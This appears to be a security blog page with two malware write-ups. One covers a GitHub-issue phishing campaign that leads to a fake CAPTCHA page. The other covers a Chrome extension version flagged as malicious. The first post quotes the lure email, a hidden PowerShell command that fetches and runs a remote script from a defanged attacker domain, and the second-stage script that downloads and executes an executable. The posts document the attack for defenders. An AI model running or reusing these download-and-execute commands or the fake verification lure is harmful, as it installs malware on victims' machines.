Tag: malware

GitHub issues used to spam public repos to download a malicious file

GitHub issues are used to spam public repos

I received a legitimate looking email from GitHub regarding one of my repositories having a vulnerability. Seems like someone created an issue and provided a link I should follow to fix this issue (seems like it was created and then deleted).

The email is a typical issue notification with creator message:

Hey there!

We have detected a security vulnerability in your repository. Please contact us at hxxps://github-scanner.com to get more information on how to fix this issue.

Best regards,

Github Security Team

—

Reply to this email directly, view it on GitHub, or unsubscribe.

You are receiving this because you are subscribed to this thread.

—

The email header says it’s a legit email from github. A quick google search on the domain brings no result. A whois lookup shows the domain was just registered 18 of September.

Visiting the page shows a “verify you’re a human” button. Clicking that button copied the following text to clipboard and instructs the user to type Ctrl + R, Ctrl + V, ENTER (basically instructing the user to pen Run Command, paste the code and )

powershell.exe -w hidden -Command “iex (iwr ‘hxxps://github-scanner.com[/]download.txt’).Content” # “✅ ”I am not a robot – reCAPTCHA Verification ID: 93752″

The content of download.txt is the following

$webClient = New-Object System.Net.WebClient

$url1 = “hxxps://github-scanner.com/l6E.exe”

$filePath1 = “$env:TEMP\SysSetup.exe”

$webClient.DownloadFile($url1, $filePath1)

Start-Process -FilePath $env:TEMP\SysSetup.exe

Basically, it downloads an executable, saves it in temp as SysSetup.exe and executes it. At the time of writing, the URL was not detected as malicious by any AV even if the actual sample is (now at least 14 detect the URL as malicious)

VT of the sample

https://www.virustotal.com/gui/file/d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207/details

Chrome Extension “Video Downloader GetThemAll 30.0.2” might contain malware

lo

So I have been using this extension for a while and all of a sudden it was disabled. When going to the extension to see what happened, Chrome reports that the extension contains malware and for this reason it is disabled.

What could have happened?

As it happened to other popular extensions, it could have been modified to include malicious behavior, transferred ownership to potential malicious owners, have been hacked or update included policy violating feature (e.g., download from YouTube)–but we don’t know. There is also a rumor that the extension was mining cryptocurrency. It is time to analyze version 30.0.2 in details in order to understand what information could have leaked, if any.

Though GetThemAll 30.0.3 is already available on Chrome web store, probably it is better to stay away until further results on what happened on the previous version.

A quick look at the diff of version 30.0.2 and 30.0.3 shows, the earlier has a suspicious obfuscated “background.js” file that accesses the images/video_help.png file, which also exists only in version 30.0.2.

Cheers